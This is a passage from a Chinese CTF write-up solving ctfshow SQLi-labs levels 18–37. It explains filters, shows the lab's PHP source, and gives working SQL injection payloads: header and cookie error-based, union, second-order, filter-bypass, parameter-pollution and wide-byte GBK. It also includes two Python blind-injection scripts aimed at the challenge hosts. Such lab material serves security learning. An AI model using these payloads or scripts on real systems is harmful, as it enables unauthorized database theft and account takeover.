  • 2
  • 3
  • 4
  • 5

image-20230718205628576


爆列: flag4

UA:
' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flag'),0x7e)) and '1'='1

POST:
uname=DUMB&passwd=DUMB&submit=Submit
  • 1
  • 2
  • 3
  • 4
  • 5

image-20230718205727492


获取字段值(flag):

UA:
' and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e)) and '1'='1

POST:
uname=DUMB&passwd=DUMB&submit=Submit
  • 1
  • 2
  • 3
  • 4
  • 5

也可以

UA:
' or updatexml(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag)),1),'','')#

POST:
uname=DUMB&passwd=DUMB&submit=Submit
  • 1
  • 2
  • 3
  • 4
  • 5

ctfshow{527472d7-4d43-494e-823f

image-20230718205833073

倒着读:

UA:
' and extractvalue(1,concat(0x7e,(select reverse(group_concat(flag4)) from ctfshow.flag),0x7e)) and '1'='1

POST:
uname=DUMB&passwd=DUMB&submit=Submit
  • 1
  • 2
  • 3
  • 4
  • 5

}d88f79246a6d-f328-e494-34d4-7d,逆序一下是d7-4d43-494e-823f-d6a64297f88d}

image-20230718205954636


flag:ctfshow{527472d7-4d43-494e-823f-d6a64297f88d}

Sqli-labs 19关 (web535)

和上题差不多,U-A头注入变成Referer注入。闭合还是单引号'

image-20230718210215199

获取字段值(flag):

Referer:
' and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e)) and '1'='1

POST:
uname=DUMB&passwd=DUMB&submit=Submit
  • 1
  • 2
  • 3
  • 4
  • 5

也可以

UA:
' or updatexml(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag)),1),'','')#

POST:
uname=DUMB&passwd=DUMB&submit=Submit
  • 1
  • 2
  • 3
  • 4
  • 5

ctfshow{f57e3a9a-b2ee-4627-addf

image-20230719132311016

倒着读:

UA:
' and extractvalue(1,concat(0x7e,(select reverse(group_concat(flag4)) from ctfshow.flag),0x7e)) and '1'='1

POST:
uname=DUMB&passwd=DUMB&submit=Submit
  • 1
  • 2
  • 3
  • 4
  • 5

}5cd172bb2e2e-fdda-7264-ee2b-a9,逆序一下是9a-b2ee-4627-addf-e2e2bb271dc5}

image-20230719132350822


flag:ctfshow{f57e3a9a-b2ee-4627-addf-e2e2bb271dc5}

Sqli-labs 20关 (web536)

先账号密码DUMB,DUMB登录试试。可以看见这里返回了很多信息,包括了自己的Cookie。

image-20230803134457343

在F12的Application里面查看一下自己的Cookie,确实是题目回显的Cookie。

image-20230719142426653

这里存在cookie注入,并且是'闭合

有点抽象并且不好理解,我们查看一下源码,看看他的SQL语句为什么会存在Cookie注入。


源码分析:

一、如果不存在COOKIE方式提交的uname变量。

image-20230719144054923

首先后台先对我们输入的账号密码进行检查,防止我们SQL注入。

image-20230719142550330

然后后台接收我们POST传参的账号密码,并且进行查询。

image-20230719142451051

如果有错误则会回显报错。看起来这里就有报错注入的可能性了。但是其实没有,因为有check,对我们输入的检查。所以我们输入报错注入语句是会被检查到的。我们无法利用这里的error返回数据库信息。

image-20230719144149447


二、如果存在COOKIE方式提交的uname变量。

image-20230719144349431

如果不存在POST提交的submit变量

image-20230719144448427

就会利用$cookee变量进行SQL语句查询,同时有错误则返回报错,那就存在了COOKIE为注入点的报错注入。

image-20230719144430312


获取字段值(flag):

Cookie:
uname=' and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e)) and '1'='1

POST:
uname=DUMB&passwd=DUMB
  • 1
  • 2
  • 3
  • 4
  • 5

也可以

Cookie:
uname=' or updatexml(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag)),1),'','')#

POST:
uname=DUMB&passwd=DUMB
  • 1
  • 2
  • 3
  • 4
  • 5

ctfshow{cec5545b-3a4e-45ef-b212

image-20230719144749891

倒着读:

Cookie:
uname=' and extractvalue(1,concat(0x7e,(select reverse(group_concat(flag4)) from ctfshow.flag),0x7e)) and '1'='1

POST:
uname=DUMB&passwd=DUMB
  • 1
  • 2
  • 3
  • 4
  • 5

}123e9ea3ecbf-212b-fe54-e4a3-b5,逆序一下是5b-3a4e-45ef-b212-fbce3ae9e321}

image-20230719144823562


flag:ctfshow{cec5545b-3a4e-45ef-b212-fbce3ae9e321}

Sqli-labs 21关 (web537)

和20关很像,先账号密码DUMB,DUMB登录试试。可以看见这里也返回了很多信息,包括了自己的Cookie。但是Cookie却是一串奇怪的字符串,看得出来这是bse64编码。

image-20230719145414741

解码一下Cookie试试。

image-20230719145756854

所以21关和20关的区别就在于Cookie加了一个base64编码。


获取字段值(flag):

Cookie:
uname=JyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQoZmxhZzQpIGZyb20gY3Rmc2hvdy5mbGFnKSwweDdlKSkgYW5kICcxJz0nMQ==

//' and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e)) and '1'='1

POST:
uname=DUMB&passwd=DUMB
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

也可以

Cookie:
uname=JyBvciB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGdyb3VwX2NvbmNhdChmbGFnNCkgZnJvbSBjdGZzaG93LmZsYWcpKSwxKSwnJywnJykj

//' or updatexml(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag)),1),'','')#

POST:
uname=DUMB&passwd=DUMB
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

结果是ctfshow{a1679cb4-87df-4e44-a83f

倒着读:

Cookie:
uname=JyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCByZXZlcnNlKGdyb3VwX2NvbmNhdChmbGFnNCkpIGZyb20gY3Rmc2hvdy5mbGFnKSwweDdlKSkgYW5kICcxJz0nMQ==

//' and extractvalue(1,concat(0x7e,(select reverse(group_concat(flag4)) from ctfshow.flag),0x7e)) and '1'='1

POST:
uname=DUMB&passwd=DUMB
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

结果逆序一下是b4-87df-4e44-a83f-301766292bf8}


flag:ctfshow{a1679cb4-87df-4e44-a83f-301766292bf8}

Sqli-labs 22关 (web538)

和21关区别就在于闭合变成了双引号"

image-20230719150443110


获取字段值(flag):

Cookie:
uname=IiBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQoZmxhZzQpIGZyb20gY3Rmc2hvdy5mbGFnKSwweDdlKSkgYW5kICIxIj0iMQ==

//" and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e)) and "1"="1

POST:
uname=DUMB&passwd=DUMB
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

也可以

Cookie:
uname=IiBvciB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGdyb3VwX2NvbmNhdChmbGFnNCkgZnJvbSBjdGZzaG93LmZsYWcpKSwxKSwnJywnJykj

//" or updatexml(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag)),1),'','')#

POST:
uname=DUMB&passwd=DUMB
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

结果是ctfshow{1b398957-5f90-4841-a17a

倒着读:

Cookie:
uname=IiBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCByZXZlcnNlKGdyb3VwX2NvbmNhdChmbGFnNCkpIGZyb20gY3Rmc2hvdy5mbGFnKSwweDdlKSkgYW5kICIxIj0iMQ==

//" and extractvalue(1,concat(0x7e,(select reverse(group_concat(flag4)) from ctfshow.flag),0x7e)) and "1"="1

POST:
uname=DUMB&passwd=DUMB
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

结果逆序一下是57-5f90-4841-a17a-aacc6cab9773}


flag:ctfshow{1b398957-5f90-4841-a17a-aacc6cab9773}

Sqli-labs 23关 (web539)

考点:绕过过滤注释符(各种闭合姿势)

回到了第一关的样式,我们需要GET提交一个id。

image-20230719151744337

开始测试闭合:

?id=1'               报错near ''1'' LIMIT 0,1' at line 1
?id=1' --+           报错near '' LIMIT 0,1' at line 1
?id=1' #             报错near '' LIMIT 0,1' at line 1
?id=1''              登录成功
?id=-1' or '1'='1    登录成功

可以判断这里闭合是单引号,而且注释符被过滤!
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

测一下回显位:

?id=1' union select 1'             报错
?id=1' union select 1,2'           报错
?id=1' union select 1,2,3'         正常
?id=1' union select 1,2,3,4'       报错

判断回显位有三个。
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

也可以

?id=1' union select 1,2,3; %00
  • 1

image-20230719155822403


爆库: ctfshow

?id=-1' union select 1,(group_concat(schema_name)),3  from information_schema.schemata;%00
  • 1

image-20230719160425050


爆表: flag

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),3 or '1'='1
  • 1

image-20230719160445505


爆列: flag4

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag
  • 1

image-20230719160559426


获取字段值(flag): ctfshow{62c6ea4a-97b1-4b8b-af0e-e0c4588bcc62}

?id=-1' union select 1,(select group_concat(flag4) from ctfshow.flag),'3
  • 1

image-20230719160706622

Sqli-labs 24关 (web540)

考点:二次注入

进入24关,越来越真实了,有注册、登录、忘记密码等界面。

先用DUMB登录一下,登陆成功后跳转到了修改密码界面。

image-20230719171928246

尝试注册一个用户名为admin的用户,但是提示用户已经存在了,估计这题就是让我登录admin的账号。

image-20230719173622855

这源码咱不审也罢。。。。

image-20230719171704825


二次注入:

二次排序注入也叫做存储型的注入,就是将可能导致sql 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发 sql 注入。

二次排序注入思路:

  1. 黑客通过构造数据的形式,在浏览器或者其他软件中提交 HTTP 数据报文请求到服务
    端进行处理,提交的数据报文请求中可能包含了黑客构造的 SQL 语句或者命令。

  2. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。

  3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。

  4. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的 SQL 语句或者命令在服务端环境中执行。

  5. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。


题中我们的步骤是:

1、注册一个 admin'#的账号,密码是123123

注册用户时,数据库内添加数据语句:(login_create.php)
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
所以数据库内添加了一条数据,账号是 admin’#,密码是123123

image-20230719194749029

image-20230719194812662

2、接下来登录该帐号后进行修改密码,修改为111111

修改密码时,数据库内更新数据语句:(pass_change.php)
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

带入数据就是:
$sql = "UPDATE users SET PASSWORD='111111' where username='admin' #' and password='admin原来的密码' ";

单引号是为了和之后密码修的用户名的单引号进行闭合,#是为了注释后面的数据。此时修改的就是 admin 的密码。

image-20230719194925034

3、登录admin账号,密码就是111111

image-20230719195020626

这题flag还是在数据库里面,要得到flag得盲注了。

用一下【孤桜懶契】大佬的脚本:

# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/10
# blog: gylq.gitee.io

import requests
import time


flag = ""
#*************************************************************************************************************************************************************
#--------查库名
#sql="select group_concat(schema_name) from information_schema.schemata"
#--------查表
#sql= "select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'"
#--------查字段
#sql= "select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flag'"
#--------查flag
sql= "select flag4 from ctfshow.flag"
#*************************************************************************************************************************************************************
payload = "admin' and if(ascii(substr(({}),{},1))>'{}',sleep(0.4),0)#"
i = 0

session = requests.session()
for i in range(1,666):
    head = 32
    tail = 127

    while head < tail:
        mid = (head+tail) >> 1
        url_register = "http://08fa48c9-0e53-4eec-8fa2-01e851961687.challenge.ctf.show:8080/login_create.php"
        data = {
            'username' : payload.format(sql,i,mid),
            'password' : '22',
            're_password' : '22',
            'submit' : 'Register'
        }
        res = session.post(url=url_register,data=data)


        url_login = "http://08fa48c9-0e53-4eec-8fa2-01e851961687.challenge.ctf.show:8080/login.php"
        data = {
            'login_user' : payload.format(sql,i,mid),
            'login_password' : '22',
            'mysubmit' : 'Login'
        }
        res = session.post(url=url_login, data=data)

        url_change = "http://08fa48c9-0e53-4eec-8fa2-01e851961687.challenge.ctf.show:8080/pass_change.php"
        data = {
            'current_password' : '22',
            'password' : '1',
            're_password' : '1',
            'submit' : 'Reset'
        }
        start = time.time()
        res = session.post(url=url_change, data=data)
        end = time.time()
        print(end - start)
        if end-start > 0.4 and end-start < 1:
            head = mid + 1
        else:
            tail = mid
    if head != 32:
        print('[*] 开始盲注第{}位'.format(i))
        flag += chr(tail)
        print(flag)
    else:
        print('[*] Complete! Result Is >>> {}'.format(flag))
        break
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70

image-20230719200638129

Sqli-labs 25关 (web541)

说是过滤了andor

image-20230719200953356

其实就是把字符串andor替换成空,这里要注意一下,不一定是单独的and/or,如password中也有or,也是会被过滤替换的。我们用双写绕过+联合注入就行。

payload:

?id=-1' union select 1,group_concat(flag4s),3 from ctfshow.flags --+
  • 1

image-20230720180851861

Sqli-labs 25a关 (web542)

第25a关。

还是过滤了andor

image-20230720181042510

有报错但是报错是固定的,告诉你错了但是不告诉你具体哪里错了。这题和上一题的区别就在于,这题是整数注入,不用闭合。

payload:

?id=-1 union select 1,(select group_concat(flag4s) from ctfshow.flags),3
  • 1

image-20230720181619090

Sqli-labs 26关 (web543)

看这提示应该是过滤了空格。

image-20230720194239148

源码:

function blacklist($id)
{
    //过滤替换or
    $id= preg_replace('/or/i',"", $id);	
    //过滤替换and
    $id= preg_replace('/and/i',"", $id);	
    //过滤替换/*
    $id= preg_replace('/[\/\*]/',"", $id);
    //过滤替换--   (注释符一部分)
    $id= preg_replace('/[--]/',"", $id);	
    //过滤替换#    (注释符)
    $id= preg_replace('/[#]/',"", $id);
    //过滤替换\s      
    //\s: 匹配一个空格符 等价于【\n\r\f\v\t】
    $id= preg_replace('/[\s]/',"", $id);	
    //过滤替换 /\
    $id= preg_replace('/[\/\\\\]/',"", $id);	
    return $id;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

常规代替空格的字符:

%09 TAB 键(水平)

%0a 新建一行

%0b TAB 键(垂直)

%0c 新的一页

%0d return 功能

%a0 空格

基本上把所有可替代空格的都过滤了。但是空格的作用还可以用括号代替。

再测一下闭合和回显位 【一个比较不常用的注释符;%00

?id=1'anandd'1'='1         回显正常
?id=1';%00                 回显正常
?id=1';%00--+              报错

闭合是单引号
----------------------------
?id=1'union(select(1));%00                     报错
?id=1'union(select(1),(2));%00                 报错
?id=1'union(select(1),(2),(3));%00             回显正常

回显位是3
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

所以这题用括号代替空格+报错注入

payload:

//顺序读取
?id=1'||updatexml(1,concat(0x3d,(select(group_concat(flag4s))from(ctfshow.flags))),3)||'1'='1

//逆序读取
?id=1'||updatexml(1,concat(0x3d,(select(reverse(group_concat(flag4s)))from(ctfshow.flags))),3)||'1'='1
  • 1
  • 2
  • 3
  • 4
  • 5

ctfshow{9e6c2ce7-fb7d-4112-a5c6-e0d4cf1e0156}

image-20230720210648408

Sqli-labs 26a关 (web544)

来到第26a关

image-20230720210944979

和上一关不同的是,不显示具体报错了,导致无法使用报错注入。

image-20230720211219143

那就回归联合注入,闭合是单引号+括号')'

payload:

?id=999')union((select(1),(group_concat(flag4s)),(3))from(ctfshow.flags))||('1')=('1       
  • 1

不知道为什么不行,不行就直接上盲注了。

import requests

url = "http://47b9f914-0fd8-44fc-964f-d44867657b75.challenge.ctf.show/"

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # payload = f'if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="ctfshow")),{i},1))>{mid},1,0)'
        # payload = f'if(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema="ctfshow")),{i},1))>{mid},1,0)%23'
        payload = f'if(ascii(substr((select(group_concat(flag4s))from(ctfshow.flags)),{i},1))>{mid},1,0)%23'
        data = {
            'id': f"100')||{payload}||('0"
        }
        r = requests.get(url,params=data)
        if "Dumb" in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31

image-20230720214954092

Sqli-labs 27关 (web545)

过滤了selectunion

image-20230721091254422

源码中过滤的部分:

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out select.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

分析:

union select 都可以用字母大小写交替绕过。

只过滤 +和/**/代表的空格,可以用 %09、%0D 等绕过对空格的过滤。

因为 - 、#会被过滤,所以使 ID 为一个非常大的数,闭合使用非注释方式

因为有报错,所以联合注入和报错注入都可以用。

?id=1000'or(updatexml(1,concat(0x7e,(SELEct(group_concat(flag4s))from(ctfshow.flags))),3))or'0

?id=1000'%09UnIoN%09SelEcT%091,(group_concat(flag4s)),3%09from%09ctfshow.flags;%00
//【这个联合注入闭合无法用】     '   or'0   or'1'='1
  • 1
  • 2
  • 3
  • 4

image-20230721092912412

Sqli-labs 27a关 (web546)

和上题相比,闭合变成了双引号",同时也不返回具体报错。

image-20230721110245877

联合注入还能继续用。

?id=1000"%09UnIoN%09SelEcT%091,(group_concat(flag4s)),3%09from%09ctfshow.flags;%00
  • 1

image-20230721110329021

Sqli-labs 28关 (web547)

image-20230721111930824

源码:

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
$id= preg_replace('/[--]/',"", $id);				//Strip out --.
$id= preg_replace('/[#]/',"", $id);					//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.
return $id;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

过滤替换了一次union select,闭合是')

payload:

?id=1000')%09ununion%09selection%09select%091,(group_concat(flag4s)),3%09from%09ctfshow.flags;%00

//经过过滤替换后,是
//1000') union select 1,(group_concat(flag4s)),3 from ctfshow.flags;%00
  • 1
  • 2
  • 3
  • 4

image-20230721112724332

Sqli-labs 28a关 (web548)

image-20230721113015733

源码:

function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
//$id= preg_replace('/[--]/',"", $id);				//Strip out --.
//$id= preg_replace('/[#]/',"", $id);					//Strip out #.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out spaces.
return $id;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

只过滤替换了一次union select,连空格都不过滤了,payload不变。

?id=1000') ununion selection select 1,(group_concat(flag4s)),3 from ctfshow.flags;%00
  • 1

image-20230721113004408

Sqli-labs 29关 (web549)

他说,有最好的防火墙保护。

image-20230721113112078

看看源码,让我康康。以下是漏洞点(login.php):

$qs = $_SERVER['QUERY_STRING'];//接受所有参数 
$hint=$qs; 

//分解接收到的参数的函数(解析第一个id参数)
$id1=java_implimentation($qs);

//解析最后一个id参数(第二个)
$id=$_GET['id']; 

//过滤参数的函数。
whitelist($id1);




...
...
...
    
    
    
    
function whitelist($input)
{
    //只匹配纯数字
	$match = preg_match("/^\d+$/", $input);
	if($match)
	{
		//echo "you are good";
		//return $match;
	}
	else
	{	
		header('Location: hacked.php');
		//echo "you are bad";
	}
}


function java_implimentation($query_string)
{
	$q_s = $query_string;
    //将id=1&id=2分割为[id=1,id=2]
	$qs_array= explode("&",$q_s);

    //遍历数组每个键值对
	foreach($qs_array as $key => $value)
	{
		$val=substr($value,0,2);
        
        //获取参数id
		if($val=="id")
		{
            //获取参数id的值
			$id_value=substr($value,3,30); 
			return $id_value;
			echo "<br>";
			break;
		}
	}
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61

思路(代码逻辑漏洞导致的重复参数注入):

二十九关就是会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。

根据源代码,get提交的参数,如果重名,则以最后一个为准,所以sql语句在接受相同参数时候接受的是后面的参数值。
但是验证id是否是数字却只是验证了第一个id参数

其实第29关(web549)是用jsp搭建的服务器,所以建议在电脑中安装Jspstudy来安装Jsp的环境。

构造两个id参数,index.php?id=1&id=2,Apache PHP 会解析最后一个参数,Tomcat JSP 会解析第一个参数

所以这题就很好绕过了

payload:

?id=1&id=-2%27union%20select%201,2,group_concat(flag4s) from ctfshow.flags--+
  • 1

image-20230727150809450

Sqli-labs 30关 (web550)

同29关一样,就是闭合方式变成了双引号"

payload:

?id=1&id=-2"union select 1,2,group_concat(flag4s) from ctfshow.flags--+
  • 1

image-20230727152118684

Sqli-labs 31关 (web551)

同29关一样,就是闭合方式变成了双引号+括号")

payload:

?id=1&id=-2")union select 1,2,group_concat(flag4s) from ctfshow.flags--+
  • 1

image-20230727152241242

Sqli-labs 32关 (web552)

考点:宽字节注入

image-20230727152843100

先测试一下闭合

?id=1                                    #返回DUMB的信息,正常查询
?id=1'                                   #返回DUMB的信息,正常查询
?id=1''''''''''''''''''''                #返回DUMB的信息,正常查询
?id=1''''''''''''''''''''--+             #返回DUMB的信息,正常查询
?id=1' or 1=1--+                         #返回DUMB的信息,正常查询
  • 1
  • 2
  • 3
  • 4
  • 5

好似我输入的单引号和没输入一样?!

先本地查看一下源码吧

image-20230727155035789

使用check_addslashes方法里面的preg_replace函数将 斜杠,单引号和双引号过滤了,如果输入id=1'会变成id=1\'(在' " \ 等敏感字符前面添加反斜杠),使得引号不起作用。
  • 1

image-20230727155136337

但是可以注意到数据库使用了【gbk编码】。这里我们可以采用宽字节注入。
  • 1

当某字符的大小为一个字节时,称其字符为窄字节。当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。

宽字节注入原理:

常见的宽字节:GB2312,GBK,GB18030,BIG5等这些都是常见的宽字节,实际为2字节。

如果使用了类似于 set names gbk 这样的语句,既MySQL 在使用 GBK 编码的时候,mysql 数据库就会将 Ascii 大于等于128(%df)的字符当作是汉字字符的一部分(当作汉字处理),同时会认为两个字节为一个汉字,例如 %aa%5c 就是一个 汉字。

这种情况下如果我们想去掉sql语句中的一个字节,那么我们在想去的字节前加上一个Ascii 大于等于128(%df)的字节就行了。自己加的字节和想去掉的那个字节会被合起来解析成为汉字。

本题宽字节注入利用:

因为过滤方法主要就是在敏感字符前面添加 反斜杠 \,所以这里想办法干掉反斜杠即可。具体利用的话我们可以用%df 吃掉 \(%5c)

因为urlencode(\') = %5c%27,如果我们在 %5c%27前面添加 %df,形 成%df%5c%27,MySQL 在 GBK 编码方式的时候会将两个字节当做一个汉字,这个时候就把 %df%5c当做是一个汉字,%27(单引号)则作为一个单独的符号在外面,同时也就达到了我们的目的。

payload:

?id=-2%ef'union%20select%201,2,group_concat(flag4s) from ctfshow.flags-- +
  • 1

image-20230727160759848


如果可以构造 %5c%5c%27 的情况,后面的 %5c 会被前面的 %5c 给注释掉。这也是 bypass 的一种方法。可惜这题也过滤了反斜杠\(%5c)。


Sqli-labs 33关 (web553)

查看源码。

image-20230727161357321

和上关过滤方式不同,本关使用PHP中的addslashes()函数,addslashes()函数作用是返回在预定义字符之前添加反斜杠的字符串。预定义字符如下:

image-20230727161240851

由此看来两关过滤防御方式是一样的,payload不变。

?id=-2%ef'union%20select%201,2,group_concat(flag4s) from ctfshow.flags-- +
  • 1

image-20230727161449590

注入天书:使用 addslashes (), 我们需要将 mysql_query 设置为 binary 的方式,才能防御此漏洞

Sqli-labs 34关 (web554)

考点:POST注入+宽字节注入。

image-20230727163015414

payload:

uname=-1%ef' and 1=2 union select 1,(select group_concat(flag4s) from ctfshow.flags)--+&passwd=1&submit=Submit
  • 1

image-20230727163134551

国光大佬还写了一个新方法:

将 utf-8 转换为 utf-16 或 utf-32,例如将 ' 转为 utf-16 为,从而得到了一个能被utf-8解析
为汉字的字节。
我们就 可以利用这个方式进行尝试,可以使用 Linux 自带的 iconv 命令进行 UTF 的编码转换:

➜  ~ echo \'|iconv -f utf-8 -t utf-16
��'
➜  ~ echo \'|iconv -f utf-8 -t utf-32
��'
  • 1
  • 2
  • 3
  • 4

payload:

uname=-1�' and 1=2 union select 1,(select group_concat(flag4s) from ctfshow.flags)--+&passwd=1&submit=Submit
  • 1

image-20230727163621310

Sqli-labs 35关 (web555)

image-20230727164753831

这题无闭合,数字型注入。用了addslashes()函数作为过滤,但是出flag并不需要单引号,相当于没过滤。

payload:

?id=-1 union select 1,2,(select group_concat(flag4s) from ctfshow.flags)--+
  • 1

image-20230727164944199


但是哈,如果这题放到本地做,我们会发现,爆字段时候需要用加了引号的表名。表面的引号不可不加。

?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='数据表名称'
  • 1

宽字节注入法能吃掉反斜杠,但是产生的字符,会影响SQL语句。

为什么之前几题不影响SQL语句呢?????

假设宽字节注入后,产生的字符是【*】。

之前题目的payload:?id=-2%ef'union%20select%201,2,group_concat(flag4s) from ctfshow.flags-- +

带入SQL语句就是:

SELECT * FROM users WHERE id='【*】' union%20select%201,2,group_concat(flag4s) from ctfshow.flags
  • 1

宽字节产生的奇怪字符属于是查询的id,不影响联合注入语句。

现在的payload:?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='数据表名称'

带入SQL语句就是:

SELECT * FROM users WHERE id='1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=【*】'数据表名称【*】'
  • 1

大大滴影响啊,报错如下:

image-20230727165831228


本地做时,我们的绕过只需将表名换成十六进制编码就行,直接使用联合查询就可以了。

?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+
  • 1

Sqli-labs 36关 (web556)

随便测一下 ,以前面加反斜杠方式过滤了单引号等字符。

image-20230728144000540

查看源码,过滤函数变成了mysql_real_escape_string(),作用和addslashes()函数一样。

image-20230728143806226

payload:

?id=-1%ef'union%20select%201,2,group_concat(flag4s) from ctfshow.flags-- +
或者
?id=-1�'union%20select%201,2,group_concat(flag4s) from ctfshow.flags-- +
  • 1
  • 2
  • 3

image-20230728144114325

Sqli-labs 37关 (web557)

随便测一下 ,还是以前面加反斜杠方式过滤了单引号等字符。这不过这次变成了双参数POST。

image-20230728144211857

